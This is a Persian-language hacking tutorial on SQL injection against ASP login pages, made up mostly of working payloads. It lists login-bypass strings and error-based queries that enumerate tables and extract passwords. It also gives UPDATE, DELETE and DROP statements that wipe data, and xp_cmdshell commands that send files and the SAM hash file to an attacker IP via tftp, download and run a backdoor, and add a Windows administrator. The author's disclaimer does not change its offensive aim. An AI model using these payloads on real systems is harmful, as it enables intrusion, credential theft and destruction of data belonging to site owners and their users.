Asp Hacking Method

==>*<== به نام خدای زیبایی ها ==>*

دوستان قبل از شروع مقاله چند نکته ی مهم رو خدمتتون عرض میکنم :

1. برای یاد گیری باید این متن و دستورات را بر روی کاغذ بنویسید و تمرین کنید تا کامل یاد بگیرید

2. نویسنده ی مقاله هیچ مسئولیتی در قبال استفاده ی نادرست دوستان از این مطالب را ندارد و هر گونه تخلف بر عهده ی خواننده میباشد.

امروزه یکی از وسایل تولید برنامه های کاربردی web application استفاده از صفحات asp.net است. ولی همانطور که میدانید این صفحات دارای آسیب پذیری ها و ضعف های فراوانی هستند و میدانید که این صفحات ساخت دست انسان است و مسلما دارای ضعف خواهد بود.
یکی از راه های حملات هکر ها نفوذ به برنامه های کاربری وب است. طراحی وب با استفاده از asp.net کار چندان آسانی نیست و دارای امنیت و امکانات زیادی است اما همه ی ما میدونیم که همیشه هکر ها یک قدم جلوتر هستند.
هکر ها با استفاده از راه های مختلفی میتوانند این صفحات رو هک کنند که من به دو مورد ان اشاره ی کوچیکی میکنم :

1- xss یا Cross site scripting

Xss یکی از بیشترین روش های حمله میباشد که یک نفوذ گر با استفاده از ورودی هایی که در سایت برای کاربر ایجاد شده است و با استفاده از تزریق یک کد script در میان صفحات وب میتواند ان وب را مورد حمله قرار دهد.

2- Sql Injection

این روش بسیار ساده است و با استفاده از اکسپلویت های معروف به نام Sql ایجاد میشود.این روش بیشتر در بین هکر های با سابقه رواج دارد تا غیر حرفه ای ها. بهتر است بگویم تعداد افرادی که از این نقطه ضعف به طور کامل اشنا هستند کم هستند و حتی هستند کسانی که درباره ی ان چیزی نشنیده اند. در لینک زیر میتوانید مقاله ای کم نظیر در باره ی یکی از حملات sql مطالعه ای داشته باشید :

http://planetsecurity.persiangig.com/My%20Sql%20Injection%20Full.rar

دوستان در این مقاله نمیخوام راجه به تمامی متود های sql بحث کنم پس بدون معطلی میرم سر اصل مطلب

Asp hacking method's

در این مقاله میخوام شما رو با دستورات هک سایت های asp آشنا کنم.
خیلی از دوستان از دستورات بسیار کمی اشنا هستند و من در این مقاله تعداد زیادی از دستورات رو برای شما معرفی میکنم تا شما آشنایی بیشتری با این دستورات پیدا کنید.
همانطور که میدانید حملات asp از فیلد هایی ایجاد میشود مثل فیلد جستجو یا نام کاربری و یا حتی از طریق url . اما بحث این مقاله راجه به حمله از طریق login page سایت هست که میتونید در ادامه با انها اشنا بشید.
Login page هم همانطور که میدانید صفحه ای از سایت هست برای مدیر سایت و در آن فیلد هایی به نام username و password وجود دارد که ادمین سایت میتواند با وارد کردن یوزرنام و پسورد خود به پنل سایت خود برود. به عنوان مثال لوگین پیج میتواند به این شکل باشد :

Site.com/login.asp
Site.com/admin/login.asp
Site.com/admin.asp
And …

اولین کاری که شما باید بکنید تست سایت مورد نظر شماست برای اینکه بفهمید آیا باگ دارد یا نه. برای این کار شما باید از دستورات زیر استفاده کنید

'

'User

'Pass

'PAss

';user

Pass;',

And …

این دستورات برای تست سایت بکار میره که شما میتونید بفهمید ایا سایت مورد نظر اسیب پذیر هست یا نه.
اگر سایت شما error داد یعنی هدف شما آسیب پذیر و منتظر حمله ی شماست. یک سایت میتواند error های مختلفی دهد مانند :

ADODB.Field error '800a0bcd'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/day/page/2211/result.asp, line 61

خب این error یعنی سایت شما آسیب پذیر بوده و به راحتی میتونید به اون نفوذ کنید (به شرطی که با تمامی دستورات کد inject آشنایی داشته باشید). شما میتوانید این دستورات رو در قسمت یوزرنام امتحان کنید.

به فرض ما سایت اسیب پذیر خودمونو پیدا کردیم حالا میخوام یک متود رو به شما نشون بدم که راحت ترین و اسون ترین راه دور زدن لوگین پیج هست.
شما با یک سری کد اینجکت میتونید بدون داشتن یوزر نام و پسورد وارد کنترل پنل سایت شوید مانند :

or'1'='1'or'1'='1'

'or'1'='1'or'1'='1

'or''='

'or'a'='a

admin'--

admin' or 1=1 --

' or 1=1

' or 0=0 --

admin" or "a"=a

admin" or 1=1 --

admin' or 'a'='a

admin') or ('a'='a

or 0=0 --

' or 0=0 #

hi' or 1=1--

hi" or 1=1--

hi" or "a"="a

") or ("a"="a

') or ('a'='a

" or "a"="a

hi") or ("a"="a

hi') or ('a'='a

" or 0=0 #

" or 1=1--

') or ('x'='x

or'1'='1'or'1'='1'

'or'1'='1'or'1'='1

' or ' '='

' or ''='

admin" or "a"="a

admin" or 1=1 --

admin' or 1=1 --

admin' or 'a'='a

admin') or ('a'='a

admin") or ("a"="a

a=1)--

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

DUMMYPASSWORD' OR 1=1 --

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

این دستورات به کشنده ی ادمین پیج معروفند یعنی اینکه شما با وارد کردن این کد ها میتونید وارد کنترل پنل سایت شوید. البته ناگفته نماند شما امکان داره تو یه سایت مجبور باشید یکی از این دستورات مثل '1=1— or 'رو فقط در فیلد یوزر نام یا پسورد یا هر دوی انها قرار بدید و یا حتی بعضی از بای پس ها هم به این صورت هست که شما نام کاربری رو میدونید که مثلا admin هست اما پسورد رو نمیدونید بنابراین باید ادمین رو در یوزر نیم نوشته و کد بالا رو در قسمت پسورد وارد کنید. البته بازم بگم این دستورات یکم قدیمی شده و دیگه کاربرد انچنانی نداره و شما باید یکی یکی این دستورات رو بر روی سایت انجام بدید تا ببینید کدومشون عملیه. شاید هم هیچ کدوم عملی نباشه پس میریم سر روش بعدی.

روشی که میخوام بهتون اموزش بدم روشی هست که اکثرا با ان اشنایی دارید. روش به دست اوردن نام اولین table و اولین column که به این صورت هست :

' having 1=1--

پس از وارد کردن این دستور به شما اسم اولین تیبل و کلمن سایت رو میده که امکان داره به این صورت باشه :

Mname_subject,doc

که mname_subject اسم اولین تیبل و doc اسم اولین کلمن سایت مورد نظر ماست و همانطور که میبینید بین انها یک , قرار دارد.
و برای به دست اوردن تیبل و کلمن بعدی از این دستور استفاده میکنیم :

```
' group by Mname_subject,doc having 1=1--
```

که اسم تیبل و کلمن دوم رو هم به ما میده که به فرض به این صورته :

```
Mname_tittle,test
```

پس به این صورت پیش میریم :

```
' group by Mname_subject,doc, Mname_tittle,test having 1=1--
```

و به همینصورت ادامه میدیم تا دیگه error نگیریم.

دوستان دستورات و متودها بسیار است و من به صورت مختصر به تعدادی از اونها با کمی توضیح می پردازم :

==========
=== Getting Column types === modele Sotoon ===

Login: 'union select sum(username) from s_table--
Pass: a

==========
=== Getting the version number of server ===

Login: 'union select @@version,1,1,1-- برای بدست اورد ورژن سایت
Pass: a

****Important: tedade 1 =** در اینجا تعداد ستون ها مشخص میشوند

==========
=== Getting Username & Password from table
برای فهمیدن یوزرنیم و پسورد وقتی که به این صورت باشند

--- Example:

table names=users اسم تیبل مورد نظر ما <<<
column names= username , password و کلمن های تیبل بالا که به این صورت است <<<
پس به صورت زیر پیش میریم :

Login: 'union select min (name),1,1 from users where username >'a';--

Answer : inf3rnal <<< و پاسخ میگیریم

با استفاده از کد بالا تونستیم نام کاربری رو شناسایی کنیم

for find other username: <<< و برای پیدا کردن بقیه ی یوزر نام ها

Login: 'union select min (name), 1,1 from users where username >'inf3rnal';--

Get user password: <<< و برای فهمیدن پسورد یوزرنام

Login: 'union select password, 1,1 from users where username ='farahani';--

==========
****=== UPDATE DATABASE ===****

برای اپدیت پسورد یوزر نام به این صورت عمل میکنیم :

Login: 'UPDATE users set users.password = '46f7fk' where (users.username = 'inf3rnal');--

---

change password for all username: <<< و برای عوض کردن پسورد تمام یوزرنام ها

Login: 'UPDATE users set users.password = '46f7fk';--

---

inject NULL in column: این دستور تمامی پسورد ها رو پاک میکنه

Login: 'UPDATE users set password = '';--

این دستور تمامی پسورد ها رو تغییر میده به جز پسورد های یوز های inf3rnal و admin

Login: 'UPDATE users set password = '46f7fk' where username NOT IN('inf3rnal','admin');--

دستور زیر برای نصب و پاک کردن تیبل و کلمن هست :

ADD or delete column in database with ALTER TABLE code:

add:
Login: 'ALTER TABLE <table_name> ADD <column_name> varchar(30);--

delete:
Login: 'ALTER TABLE <table_name> DROP COLUMN <column_name>;--

==========
=== ADD value in DATABASE with INSERT code === <<< برای ساخت یوزر و پسورد جدید

Login: 'insert into users(tblusers.username,tblusres.password) values ('sitemanager','9339');--
Pass:

==========
=== Delete value in DATABASE with DELETE code === برای پاک کردن نام کاربری

Login: inf3rnal' delete from users;--

==========
=== Delete DATABASE with DROP Code === <<< برای تخریب دیتابیس

Login: 'drop table users;--

==========
=== Delete TABLE ===

Login: 'DROP TABLE <table_name>

==========
=== Delete DataBase ===

Login: 'DROP DATABASE <database_name>

==========

در ضمن دوستان اگه با استفاده از union به ارور زیر برخورد کردید :

Error:
Microsoft OLE DB Provider for SQL Server error'80040e07
Operand type clash: uniqeidentifier is incompatible with int
Check.asp,line 22/

از دستور convert به این صورت استفاده کنید :

Login: '+((convert(int, (SELECT TOP 1UserName FROM Users WHERE Username > 'a')) +"--

و برای بدست اوردن یوزرهای بعدی هم از not in و where استفاده کنید

==========
=== Get More information @ server === <<< برای بدست اوردن اطلاعات اضافی سایت

Login: a' or 1=convert(int,@@version)--

Login: a' or 1=convert(int,@@servername)--

Login: a' or 1=convert(int,db_name())--

و برای نفوذ به سیستم سایت میتونید از دستورات زیر که مهمترین و لذت بخش ترین هاست استفاده کنید :

Login: a' or 1=convert (int,user_name())--

Error:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'dbo' to a column of data type int.

Login: a' or 1=convert (int,system_user)--

Error:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'sa' to a column of data type int.

Now:

Login: '; exec master..xp_cmdshell 'ms-dos command'--

Example:

Login: '; exec master..xp_cmdshell 'dir c:\ > file1.txt'--
or
Login: '; exec master..xp_cmdshell 'ipconfig > file2.txt'--
or
Login: '; exec master..xp_cmdshell 'echo dir c:\/s > c:\file3.bat'--

Now you can Download files with TFTP in your PC :

Login: '; exec master..xp_cmdshell 'tftp -i <IP> Put file1.txt'--
or
Login: '; exec master..xp_cmdshell 'tftp -i <IP> PUT c:\winnt\repair\sam'--

شما میتونید ارسال کنید دستورات رو از طریق backdoor در سرور :

Login: '; exec master..xp_cmdshell 'tftp -i <IP> GET backdoor.exe' --

برای مثال با استفاده از دستورات زیر میتونید فایل ها رو از طریق ftp دانلود کنید :

Login:

'; exec MASTER..xp_cmdshell 'md %systemroot%\system32\mouse\'--

'; exec MASTER..xp_cmdshell 'echo open x.x.x.x 21 >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo USER smallMouse 123456 >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo get file.exe %systemroot%\system32\mouse\M.exe >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'del %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell '%systemroot%\system32\Mouse\M.exe'--

به جای چند بار استفاده از xp_cmdshell میتوانید با بکار بردن یک %26 در بین دستورات فقط یک بار ان را بکار برید :

Login: '; exec MASTER..xp_cmdshell 'dir C:\ > file1.txt %26 tftp -i <IP> Put file1.txt'--

with COde you can Create administrator User in Windows :

Login: ' ; exec master..xp_cmdshell 'net user Mouse 123 /add %26 net localgroup administrators inf3rnal /add'--

User: inf3rnal
pass: 123

برای بدست اوردن یوزرنام و پسورد :

' or 1=(select top 1 column name from tablename)--

برای بدست اوردن بقیه ی یوزرنام ها :

' or 1=(select top 1 columnname from tablename where columnname not in ('esme usere aval'))--

برای پسورد :

' or 1=(select top 1 password from users)--
****/union/**/select/**/1,2,3,4,5, /***

2+union+all+select+1,2,3,4

****/union/**/select/**/1,2,3,4,5 from admin /***

' union select min (column),0,0,0,0,0,0 Table where column > 'a';--

==========
یک دستور برای بدست اوردن اسم تیبل ها :

' or 1=(select top 1 table_name from information_schema.tables)--

' or 1=(select top 1 table_name from information_schema.tables where table_name not in ('esme table name aval'))--

==========
و همچنین برای کلمن ها :

' or 1=(select top 1 column_name from information_schema.columns)--

' or 1=(select top 1 column_name from information_schema.columns where column_name not in ('esme columne name aval'))--

==========
برای بدست اوردن کلمن های یک تیبل که مورد نظر شماست :

' or 1=(select top 1 (column_name) from information_schema.columns where table_name=('esme table'))--

و برای بدست اوردن کلمن های بعدی :

' or 1=(select top 1 column_name from information_schema.columns where table_name='esme table' and column_name not in ('esme column'))--

' or 1=(select top 1 password from tbl_admin where username=('inf3rnal'))--

==========
'union select 1--

' or 1=(select top 1 username from tblusers)--

' or 1=(select top 1 password from tblusers where username='sitemanager')--

' or 1=(select top 1 column_name from information_Schema.columns where table_name=('admin'))--

به پایان آمد این دفتر
دوستان منتظر مقالات بعدی باشید

حکایت همچنان باقیست...